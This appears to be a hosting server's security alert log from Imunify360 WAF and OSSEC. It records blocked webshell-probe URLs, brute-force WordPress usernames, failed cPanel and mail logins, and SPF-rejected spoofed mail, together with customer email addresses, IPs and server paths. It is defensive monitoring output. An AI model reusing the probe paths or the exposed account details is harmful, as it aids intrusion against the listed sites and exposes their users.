Jan 27 09:47:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.35 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/demos/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.35
country_id: 798544
description:
Jan 27 09:47:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.35 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 60.52.244.35
country_id: 1733045
description:
[2026-01-27 09:50:31 +0800] info [webmaild] 60.52.244.35 - sge@ajplantations.com.my "GET /cpsess9862942419/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.161.221
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=655126 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.165.158.59
country_id: 1733045
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/General/Green Layer 2 Wcc-467x319.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.165.158.59
country_id: 1733045
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/General/Green Layer 2 Wcc-467x319.JPG HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-27 09:55:25 +0800] info [webmaild] 180.75.72.60 - - "GET /apple-touch-icon.png HTTP/1.1" FAILED LOGIN webmaild: login attempt without username


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 09:57:00 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.192.106.240
country_id: 3469034
description:
Jan 27 09:57:34 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.192.106.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.132
country_id: 298795
description:
Jan 27 09:57:55 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.132 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 09:58:02 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.132
country_id: 298795
description:
Jan 27 09:58:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.132 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 09:58:47 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-27 10:00:06 H=([127.0.0.1]) [103.197.57.71]:36784 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.83.94.16
country_id: 1643084
description:
Jan 27 10:01:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.83.94.16 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 10:01:59 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 10:02:15 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess1084013194/3rdparty/roundcube/skins/elastic/watermark.html HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 10:03:03 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess7496811467/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 10:04:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57052: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-27 10:04:15 H=([91.92.240.254]) [91.92.240.254]:54503 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<sale@generaltradinglite.com> rejected RCPT <6-03-55495suffian@pspoly.com.my>: SPF: 91.92.240.254 is not allowed to send mail from generaltradinglite.com


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 10:04:25 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.39.207.3
country_id: 390903
description:
2026-01-27 10:05:08 805835 [Warning] Aborted connection 805835 to db: 'unconnected' user: 'unauthenticated' host: '185.39.207.3' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.89.161.115
country_id: 2635167
description:
Jan 27 10:07:27 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.89.161.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 10:08:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/images/designproposal-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.94.154.169
country_id: 3469034
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/news-detail-7.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 91.92.240.254
country_id: 2921044
description:
2026-01-27 10:11:36 H=([91.92.240.254]) [91.92.240.254]:52836 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<sale@generaltradinglite.com> rejected RCPT <suffian@pspoly.com.my>: SPF: 91.92.240.254 is not allowed to send mail from generaltradinglite.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 64.89.161.115
country_id: 2635167
description:
Jan 27 10:13:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 64.89.161.115 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 183.171.101.164
country_id: 1733045
description:
[2026-01-27 10:13:51 +0800] info [webmaild] 183.171.101.164 - payment@tujusetia.my "GET /cpsess5934797549/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 185.39.207.3
country_id: 390903
description:
2026-01-27 10:14:47 806288 [Warning] Aborted connection 806288 to db: 'unconnected' user: 'unauthenticated' host: '185.39.207.3' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.156.214.134
country_id: 272103
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/report/images/banner3.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.208.184.65
country_id: 3996063
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/report/images/logo.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.53.119.206
country_id: 3439705
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/report/images/banner1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.252.39.41
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/report/images/logo-(3).png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.67.227
country_id: 953987
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/report/images/banner2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 62.201.254.207
country_id: 99237
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/report/images/banner4.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 23.95.239.68
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-17.23.95.239.68||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-27 10:19:52 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess3739774369/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.52.137.110
country_id: 1733045
description:
[2026-01-27 10:19:20 +0800] info [webmaild] 60.52.137.110 - hakim@pftfood.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 168.91.14.38
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-19.168.91.14.38||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 10:24:32 H=([104.37.174.67]) [104.37.174.67]:49432 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <enquiry@nexuscollection.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.72.35.203
country_id: 1814991
description:
Jan 27 10:26:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.72.35.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.52.149
country_id: 3469034
description:
Jan 27 10:30:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.52.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.138
country_id: 1269750
description:
Jan 27 10:30:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.237.46.87
country_id: 1269750
domain: astlog.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-31.172.237.46.87||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-27 10:31:52 +0800] info [cpaneld] 202.178.120.157 - nexus2019 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 52.180.144.125
country_id: 6252001
description:
Jan 27 10:32:28 sv3 pure-ftpd[2093369]: (?@52.180.144.125) [INFO] New connection from 52.180.144.125


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 10:32:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57244: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/home/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.57.224
country_id: 953987
description:
Jan 27 10:35:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.57.224 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/plug/sms/img/new-development.php||SC:/home2/pspolycom/public_html/plug||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 172.237.46.87
country_id: 1269750
domain: www.box.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:10-35.172.237.46.87||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.72.60
country_id: 1733045
description:
[2026-01-27 10:35:12 +0800] info [webmaild] 180.75.72.60 - pr@smartcable.com.my "GET /cpsess9084765842/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.110.202.89
country_id: 953987
domain: www.kendek.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kendek.com/product-detail.php?id=612903 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.12.227.228
country_id: 3469034
domain: acburn.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/acburn.com.my/img/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/home/testimonial.php||SC:/home/indfinitydesign/public_html/images/home||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/demos/img/about.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.83.94.16
country_id: 1643084
description:
Jan 27 10:40:42 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.83.94.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.152.88
country_id: 99237
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/img/photos/6790027004.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.59.254
country_id: 1562822
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/6790027004.jpg&size=1000x1000 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.94.79.198
country_id: 3996063
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/img/photos/6790027004.jpg?scale.height=400 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.57.73.177
country_id: 294640
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/productdetails.php?id=2720 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 10:43:32 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.77.182.227
country_id: 3617476
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/images/qr/qr-code-fb.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.208.45.133
country_id: 3865483
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/images/qr/qr-code-wc.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 128.201.83.241
country_id: 3865483
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/images/qr/qr-code-web.png HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.241.160.227
country_id: 3469034
description:
Jan 27 10:48:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.241.160.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 10:49:05 H=([104.37.174.67]) [104.37.174.67]:56562 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <inquiries@ktlog.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 27 10:50:48 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.176
country_id: 3175395
description:
Jan 27 10:51:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.176 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.136.123.47
country_id: 1733045
description:
[2026-01-27 10:51:18 +0800] info [webmaild] 175.136.123.47 - roz@af-sb.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 10:52:02 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:52:58 sv3 pure-ftpd[2124425]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.199.98.26
country_id: 1269750
description:
2026-01-27 10:53:38 dovecot_plain authenticator failed for H=(ch29dhq117mu5ixrt5c6) [117.199.98.26]:37128: 535 Incorrect authentication data (set_id=joshuaooi@ms-chemicals.net)


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:53:01 sv3 pure-ftpd[2124425]: (eminent@113.211.212.49) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.27
country_id: 6252001
description:
Jan 27 10:53:16 sv3 pure-ftpd[2125129]: (?@147.185.132.27) [INFO] New connection from 147.185.132.27


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.199.98.26
country_id: 1269750
description:
Jan 27 10:53:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.199.98.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 10:53:38 H=([104.37.174.67]) [104.37.174.67]:57868 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <marylinkoh@ktlog.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:53:09 sv3 pure-ftpd[2124811]: (?@113.211.212.49) [INFO] New connection from 113.211.212.49


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.212.49
country_id: 1733045
description:
Jan 27 10:53:11 sv3 pure-ftpd[2124811]: (eminent@113.211.212.49) [NOTICE] /home/eminent//public_html/folder/RHB1049_CC_Mass_Acq_2026_EDM/index_edm.html uploaded  (40257 bytes, 1683.80KB/sec)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.26.199.157
country_id: 3439705
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/sebastian/comparator/phpunit.xml.dist HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: cofreth.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw||User:cofrethcom||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: cofreth.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:cofrethcom||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 194.110.247.102
country_id: 617790
domain: www.feliogroup.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X17; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.2.0 Safari/537.36||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: cofreth.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:cofrethcom||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 194.60.132.195
country_id: 2750405
domain: pspoly.com.my
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wpadminerlzp||User:pspolycom||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 11:00:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57344: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 11:02:23 H=([104.37.174.67]) [104.37.174.67]:60204 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <sales@chs.com.my>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.134
country_id: 798544
description:
Jan 27 11:02:47 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.134
country_id: 798544
description:
Jan 27 11:03:00 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.85.107.170
country_id: 3469034
description:
Jan 27 11:03:20 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.85.107.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.209.28.49
country_id: 3469034
description:
Jan 27 11:05:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.209.28.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.168
country_id: 3469034
description:
Jan 27 11:05:40 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.168 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.200
country_id: 6252001
description:
Jan 27 11:06:50 sv3 pure-ftpd[2150330]: (?@198.235.24.200) [INFO] New connection from 198.235.24.200


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/index.php/img/photos/images/blog.php||SC:/home/indfinitydesign/public_html/index.php||


